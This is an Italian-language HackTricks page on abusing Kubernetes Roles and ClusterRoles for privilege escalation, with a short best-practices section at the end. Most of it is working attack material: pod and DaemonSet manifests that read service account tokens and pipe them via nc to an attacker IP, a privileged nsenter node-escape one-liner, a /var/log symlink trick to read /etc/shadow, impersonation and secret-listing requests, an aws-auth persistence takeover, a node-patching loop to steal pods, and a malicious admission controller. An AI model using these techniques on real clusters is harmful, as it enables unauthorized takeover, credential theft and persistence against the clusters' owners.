Abusing Roles/ClusterRoles in Kubernetes

Support HackTricks

Qui puoi trovare alcune configurazioni di Roles e ClusterRoles potenzialmente pericolose. Ricorda che puoi ottenere tutte le risorse supportate con kubectl api-resources

Privilege Escalation

Riferendosi all'arte di ottenere accesso a un principale diverso all'interno del cluster con privilegi diversi (all'interno del cluster kubernetes o a cloud esterni) rispetto a quelli che già possiedi, in Kubernetes ci sono fondamentalmente 4 tecniche principali per escalare i privilegi:

  • Essere in grado di impersonare altri utenti/gruppi/SAs con privilegi migliori all'interno del cluster kubernetes o a cloud esterni

  • Essere in grado di creare/patchare/eseguire pod dove puoi trovare o allegare SAs con privilegi migliori all'interno del cluster kubernetes o a cloud esterni

  • Essere in grado di leggere segreti poiché i token SAs sono memorizzati come segreti

  • Essere in grado di uscire verso il nodo da un container, dove puoi rubare tutti i segreti dei container in esecuzione nel nodo, le credenziali del nodo e i permessi del nodo all'interno del cloud in cui è in esecuzione (se presente)

  • Una quinta tecnica che merita una menzione è la capacità di eseguire port-forward in un pod, poiché potresti essere in grado di accedere a risorse interessanti all'interno di quel pod.

Access Any Resource or Verb (Wildcard)

Il carattere jolly (*) concede permessi su qualsiasi risorsa con qualsiasi verbo. È usato dagli amministratori. All'interno di un ClusterRole questo significa che un attaccante potrebbe abusare di anynamespace nel cluster.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Accedi a Qualsiasi Risorsa con un verbo specifico

In RBAC, alcune autorizzazioni comportano rischi significativi:

  1. create: Concede la possibilità di creare qualsiasi risorsa del cluster, rischiando un'escalation di privilegi.

  2. list: Consente di elencare tutte le risorse, potenzialmente causando la leak di dati sensibili.

  3. get: Permette di accedere ai segreti degli account di servizio, costituendo una minaccia per la sicurezza.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

Un attaccante con i permessi per creare un pod, potrebbe allegare un Service Account privilegiato nel pod e rubare il token per impersonare il Service Account. Efficacemente elevando i privilegi.

Esempio di un pod che ruberà il token del Service Account bootstrap-signer e lo invierà all'attaccante:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Creazione e fuga del Pod

Il seguente indica tutti i privilegi che un container può avere:

  • Accesso privilegiato (disabilitando le protezioni e impostando le capacità)

  • Disabilitare i namespace hostIPC e hostPid che possono aiutare ad elevare i privilegi

  • Disabilitare il namespace hostNetwork, dando accesso per rubare i privilegi cloud dei nodi e un accesso migliore alle reti

  • Montare gli host / all'interno del container

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Crea il pod con:

kubectl --token $token create -f mount_root.yaml

One-liner da questo tweet e con alcune aggiunte:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Ora che puoi fuggire verso il nodo, controlla le tecniche post-exploitation in:

Stealth

Probabilmente vuoi essere più furtivo, nelle pagine seguenti puoi vedere a cosa potresti accedere se crei un pod abilitando solo alcuni dei privilegi menzionati nel template precedente:

  • Privileged + hostPID

  • Privileged only

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Puoi trovare esempi di come creare/abuse le configurazioni di pod privilegiati precedenti in https://github.com/BishopFox/badPods

Pod Create - Move to cloud

Se puoi creare un pod (e opzionalmente un service account) potresti essere in grado di ottenere privilegi nell'ambiente cloud assegnando ruoli cloud a un pod o a un service account e poi accedervi. Inoltre, se puoi creare un pod con il namespace di rete host, puoi rubare il ruolo IAM dell'istanza node.

Per ulteriori informazioni controlla:

Pod Escape Privileges

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs e Cronjobs

È possibile abusare di questi permessi per creare un nuovo pod e stabilire privilegi come nell'esempio precedente.

Il seguente yaml crea un daemonset e esfiltra il token del SA all'interno del pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec è una risorsa in kubernetes utilizzata per eseguire comandi in una shell all'interno di un pod. Questo consente di eseguire comandi all'interno dei contenitori o ottenere una shell all'interno.

Pertanto, è possibile entrare in un pod e rubare il token del SA, o entrare in un pod privilegiato, fuggire verso il nodo e rubare tutti i token dei pod nel nodo e (ab)usare il nodo:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Questo permesso consente di inoltrare una porta locale a una porta nel pod specificato. Questo è pensato per poter eseguire il debug delle applicazioni in esecuzione all'interno di un pod facilmente, ma un attaccante potrebbe abusarne per ottenere accesso a applicazioni interessanti (come DB) o vulnerabili (web?) all'interno di un pod:

kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

Come indicato in questa ricerca, se puoi accedere o creare un pod con la directory /var/log/ dei host montata su di esso, puoi uscire dal container. Questo è fondamentalmente perché quando il Kube-API cerca di ottenere i log di un container (utilizzando kubectl logs <pod>), richiede il file 0.log del pod utilizzando l'endpoint /logs/ del servizio Kubelet. Il servizio Kubelet espone l'endpoint /logs/ che è fondamentalmente l'esposizione del filesystem /var/log del container.

Pertanto, un attaccante con accesso in scrittura nella cartella /var/log/ del container potrebbe abusare di questo comportamento in 2 modi:

  • Modificando il file 0.log del suo container (di solito situato in /var/logs/pods/namespace_pod_uid/container/0.log) per essere un symlink che punta a /etc/shadow per esempio. Poi, sarai in grado di esfiltrare il file shadow degli host facendo:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Se l'attaccante controlla qualsiasi principale con i permessi per leggere nodes/log, può semplicemente creare un symlink in /host-mounted/var/log/sym a / e quando accede a https://<gateway>:10250/logs/sym/ elencherà il filesystem root dell'host (cambiando il symlink può fornire accesso ai file).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Un laboratorio e un exploit automatizzato possono essere trovati in https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Bypassare la protezione readOnly

Se sei abbastanza fortunato e la capacità altamente privilegiata CAP_SYS_ADMIN è disponibile, puoi semplicemente rimontare la cartella come rw:

mount -o rw,remount /hostlogs/

Bypassare la protezione hostPath readOnly

Come indicato in questa ricerca, è possibile bypassare la protezione:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Che era destinato a prevenire le fughe come quelle precedenti, utilizzando invece di un mount hostPath, un PersistentVolume e un PersistentVolumeClaim per montare una cartella host nel contenitore con accesso in scrittura:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Impersonare account privilegiati

Con un privilegio di impersonificazione dell'utente, un attaccante potrebbe impersonare un account privilegiato.

Basta utilizzare il parametro --as=<username> nel comando kubectl per impersonare un utente, o --as-group=<group> per impersonare un gruppo:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

O utilizzare l'API REST:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Elencare i Segreti

Il permesso di elencare i segreti potrebbe consentire a un attaccante di leggere effettivamente i segreti accedendo all'endpoint API REST:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Lettura di un segreto – forzatura dei token ID

Mentre un attaccante in possesso di un token con permessi di lettura richiede il nome esatto del segreto per utilizzarlo, a differenza del più ampio privilegio di elencare i segreti, ci sono ancora vulnerabilità. Gli account di servizio predefiniti nel sistema possono essere enumerati, ciascuno associato a un segreto. Questi segreti hanno una struttura di nome: un prefisso statico seguito da un token alfanumerico casuale di cinque caratteri (escludendo alcuni caratteri) secondo il codice sorgente.

Il token è generato da un set limitato di 27 caratteri (bcdfghjklmnpqrstvwxz2456789), piuttosto che dall'intero intervallo alfanumerico. Questa limitazione riduce il totale delle possibili combinazioni a 14.348.907 (27^5). Di conseguenza, un attaccante potrebbe ragionevolmente eseguire un attacco di forza bruta per dedurre il token in poche ore, portando potenzialmente a un'escalation dei privilegi accedendo a account di servizio sensibili.

Richieste di Firma del Certificato

Se hai i verbi create nella risorsa certificatesigningrequests (o almeno in certificatesigningrequests/nodeClient). Puoi creare un nuovo CeSR di un nuovo nodo.

Secondo la documentazione è possibile approvare automaticamente queste richieste, quindi in quel caso non hai bisogno di permessi extra. Se no, dovresti essere in grado di approvare la richiesta, il che significa aggiornare in certificatesigningrequests/approval e approve in signers con resourceName <signerNameDomain>/<signerNamePath> o <signerNameDomain>/*

Un esempio di un ruolo con tutti i permessi richiesti è:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Quindi, con la nuova CSR del nodo approvata, puoi abuse dei permessi speciali dei nodi per steal secrets e escalate privileges.

In questo post e questo la configurazione del K8s TLS Bootstrap di GKE è configurata con automatic signing e viene abused per generare credenziali di un nuovo nodo K8s e poi abuse di queste per escalate privileges rubando segreti. Se hai i privilegi menzionati potresti fare la stessa cosa. Nota che il primo esempio bypassa l'errore che impedisce a un nuovo nodo di accedere ai segreti all'interno dei contenitori perché un nodo può accedere solo ai segreti dei contenitori montati su di esso.

Il modo per bypassare questo è semplicemente creare una credenziale del nodo per il nome del nodo dove il contenitore con i segreti interessanti è montato (ma controlla solo come farlo nel primo post):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

I principi che possono modificare configmaps nel namespace kube-system su cluster EKS (devono essere in AWS) possono ottenere privilegi di amministratore del cluster sovrascrivendo il configmap aws-auth. I verbi necessari sono update e patch, o create se il configmap non è stato creato:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Puoi usare aws-auth per persistenza dando accesso agli utenti di altri account.

Tuttavia, aws --profile other_account eks update-kubeconfig --name <cluster-name> non funziona da un account diverso. Ma in realtà aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing funziona se metti l'ARN del cluster invece del solo nome. Per far funzionare kubectl, assicurati di configurare il kubeconfig della vittima e negli argomenti di esecuzione di aws aggiungi --profile other_account_role in modo che kubectl utilizzi il profilo dell'altro account per ottenere il token e contattare AWS.

Escalation in GKE

Ci sono 2 modi per assegnare permessi K8s ai principi GCP. In ogni caso, il principio ha anche bisogno del permesso container.clusters.get per poter raccogliere le credenziali per accedere al cluster, oppure dovrai generare il tuo file di configurazione kubectl (segui il link successivo).

Quando si parla con l'endpoint API K8s, il token di autenticazione GCP verrà inviato. Poi, GCP, attraverso l'endpoint API K8s, controllerà prima se il principio (per email) ha accesso all'interno del cluster, poi controllerà se ha accesso tramite GCP IAM. Se qualcuna di queste è vera, riceverà una risposta. Se no, verrà fornito un errore che suggerisce di dare permessi tramite GCP IAM.

Quindi, il primo metodo è utilizzare GCP IAM, i permessi K8s hanno i loro permessi equivalenti GCP IAM, e se il principio li ha, potrà usarli.

GCP - Container Privesc

Il secondo metodo è assegnare permessi K8s all'interno del cluster identificando l'utente tramite la sua email (inclusi gli account di servizio GCP).

Creare token serviceaccounts

Principi che possono creare TokenRequests (serviceaccounts/token) quando parlano con l'endpoint API K8s SAs (info da qui).

ephemeralcontainers

Principi che possono update o patch pods/ephemeralcontainers possono ottenere esecuzione di codice su altri pod, e potenzialmente uscire al loro nodo aggiungendo un container effimero con un securityContext privilegiato.

ValidatingWebhookConfigurations o MutatingWebhookConfigurations

Principi con uno dei verbi create, update o patch su validatingwebhookconfigurations o mutatingwebhookconfigurations potrebbero essere in grado di creare una di queste webhookconfigurations per poter escalare i privilegi.

Per un esempio di mutatingwebhookconfigurations, controlla questa sezione di questo post.

Escalate

Come puoi leggere nella sezione successiva: Prevenzione dell'escalation dei privilegi integrata, un principio non può aggiornare né creare ruoli o clusterroles senza avere lui stesso quei nuovi permessi. A meno che non abbia il verbo escalate su roles o clusterroles. Allora può aggiornare/creare nuovi ruoli, clusterroles con permessi migliori di quelli che ha.

Nodes proxy

Principi con accesso alla nodes/proxy subrisorsa possono eseguire codice su pod tramite l'API Kubelet (secondo questo). Maggiori informazioni sull'autenticazione Kubelet in questa pagina:

Kubelet Authentication & Authorization

Hai un esempio di come ottenere RCE parlando autorizzato a un'API Kubelet qui.

Eliminare pod + nodi non pianificabili

Principi che possono eliminare pod (delete verbo su pods risorsa), o espellere pod (create verbo su pods/eviction risorsa), o cambiare lo stato del pod (accesso a pods/status) e possono rendere altri nodi non pianificabili (accesso a nodes/status) o eliminare nodi (delete verbo su nodes risorsa) e hanno controllo su un pod, potrebbero rubare pod da altri nodi in modo che vengano eseguiti nel nodo compromesso e l'attaccante può rubare i token da quei pod.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Stato dei servizi (CVE-2020-8554)

I principi che possono modificare services/status possono impostare il campo status.loadBalancer.ingress.ip per sfruttare il CVE-2020-8554 non risolto e lanciare attacchi MiTM contro il cluster. La maggior parte delle mitigazioni per il CVE-2020-8554 previene solo i servizi ExternalIP (secondo questo).

Stato dei nodi e dei pod

I principi con permessi update o patch su nodes/status o pods/status, potrebbero modificare le etichette per influenzare i vincoli di pianificazione applicati.

Prevenzione dell'Escalation dei Privilegi Integrata

Kubernetes ha un meccanismo integrato per prevenire l'escalation dei privilegi.

Questo sistema garantisce che gli utenti non possano elevare i propri privilegi modificando ruoli o binding di ruolo. L'applicazione di questa regola avviene a livello API, fornendo una protezione anche quando l'autorizzatore RBAC è inattivo.

La regola stabilisce che un utente può creare o aggiornare un ruolo solo se possiede tutti i permessi che il ruolo comprende. Inoltre, l'ambito dei permessi esistenti dell'utente deve allinearsi a quello del ruolo che stanno tentando di creare o modificare: sia a livello cluster-wide per i ClusterRoles o confinato allo stesso namespace (o cluster-wide) per i Roles.

C'è un'eccezione a questa regola precedente. Se un principio ha il verbo escalate su roles o clusterroles, può aumentare i privilegi di ruoli e clusterroles anche senza avere i permessi lui stesso.

Ottieni & Patch RoleBindings/ClusterRoleBindings

Apparentemente questa tecnica funzionava prima, ma secondo i miei test non funziona più per lo stesso motivo spiegato nella sezione precedente. Non puoi creare/modificare un rolebinding per darti o dare a un altro SA alcuni privilegi se non li hai già.

Il privilegio di creare Rolebindings consente a un utente di associare ruoli a un account di servizio. Questo privilegio può potenzialmente portare a un'escalation dei privilegi perché consente all'utente di associare privilegi di amministratore a un account di servizio compromesso.

Altri Attacchi

App proxy Sidecar

Per impostazione predefinita non c'è alcuna crittografia nella comunicazione tra i pod. Autenticazione reciproca, bidirezionale, da pod a pod.

Crea un'app proxy Sidecar

Crea il tuo .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Modifica il tuo .yaml e aggiungi le righe non commentate:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Vedi i log del proxy:

kubectl logs app -C proxy

More info at: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Malicious Admission Controller

Un admission controller intercetta le richieste al server API di Kubernetes prima della persistenza dell'oggetto, ma dopo che la richiesta è stata autenticata e autorizzata.

Se un attaccante riesce in qualche modo a iniettare un Mutationg Admission Controller, sarà in grado di modificare richieste già autenticate. Essere in grado di potenzialmente privesc, e più comunemente persistere nel cluster.

Esempio da https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Controlla lo stato per vedere se è pronto:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Poi distribuisci un nuovo pod:

kubectl run nginx --image nginx
kubectl get po -w

Quando puoi vedere l'errore ErrImagePull, controlla il nome dell'immagine con una delle seguenti query:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Come puoi vedere nell'immagine sopra, abbiamo provato a eseguire l'immagine nginx, ma l'immagine finale eseguita è rewanthtammana/malicious-image. Cosa è appena successo!!?

Technicalities

Lo script ./deploy.sh stabilisce un controller di ammissione webhook mutante, che modifica le richieste all'API di Kubernetes come specificato nelle sue righe di configurazione, influenzando i risultati osservati:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

The above snippet replaces the first container image in every pod with rewanthtammana/malicious-image.

OPA Gatekeeper bypass

Kubernetes - OPA Gatekeeper bypass

Best Practices

Disabilitare l'automontaggio dei token dell'account di servizio

  • Pod e account di servizio: Per impostazione predefinita, i pod montano un token dell'account di servizio. Per migliorare la sicurezza, Kubernetes consente di disabilitare questa funzionalità di automontaggio.

  • Come applicare: Imposta automountServiceAccountToken: false nella configurazione degli account di servizio o dei pod a partire dalla versione 1.6 di Kubernetes.

Assegnazione restrittiva degli utenti in RoleBindings/ClusterRoleBindings

  • Inclusione selettiva: Assicurati che solo gli utenti necessari siano inclusi in RoleBindings o ClusterRoleBindings. Esegui audit regolari e rimuovi gli utenti irrilevanti per mantenere una sicurezza rigorosa.

Ruoli specifici per namespace rispetto ai ruoli a livello di cluster

  • Ruoli vs. ClusterRoles: Preferisci utilizzare Ruoli e RoleBindings per permessi specifici del namespace piuttosto che ClusterRoles e ClusterRoleBindings, che si applicano a livello di cluster. Questo approccio offre un controllo più fine e limita l'ambito dei permessi.

Utilizzare strumenti automatizzati

Riferimenti

Support HackTricks

Last updated